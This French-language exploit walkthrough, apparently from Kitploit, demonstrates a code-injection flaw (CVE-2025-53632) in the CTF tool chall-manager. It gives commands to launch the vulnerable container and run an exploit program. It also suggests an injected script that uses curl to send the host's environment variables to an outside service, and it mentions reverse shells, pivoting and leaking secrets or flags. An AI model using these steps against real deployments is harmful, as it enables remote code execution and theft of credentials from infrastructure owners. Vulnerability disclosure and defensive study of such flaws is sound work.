En utilisant ces informations, nous allons altérer le programme pulumi en injectant du code shell avant son exécution. Comme le scénario sera ensuite validé, le programme pulumi altéré sera exécuté, lançant le script.

À partir de ce script, vous pouvez désormais ouvrir un shell inversé, pivoter à travers l'infrastructure ou à l'intérieur du conteneur, divulguer des secrets (par exemple contenus dans des variables d'environnement) ou même le contenu du défi (par exemple le flag du défi si un scénario n'a pas été pré-construit).

Prérequis

Pour exécuter cette démonstration d'exploit, vous aurez besoin de :

• docker ;
• go.

Exploitation

1. Exécutez chall-manager.

   root@kitploit:~

   docker run --name chall-manager -d -p 8080:8080 ctferio/chall-manager:v0.1.3
   

2. Exécutez main.go

   root@kitploit:~

   go run main.go --url localhost:8080
   

   Soyez inventif avec votre script ! Par exemple, vous pouvez envoyer les informations système à un tiers...

   root@kitploit:~

   go run main.go --url localhost:8080 --script 'curl -d "$(env)" https://app.beeceptor.com/console/cve-2025-53632'
   

   

3. Vous pouvez arrêter le conteneur Docker de démonstration Chall-Manager une fois terminé.

   root@kitploit:~

   docker stop chall-manager && docker rm $_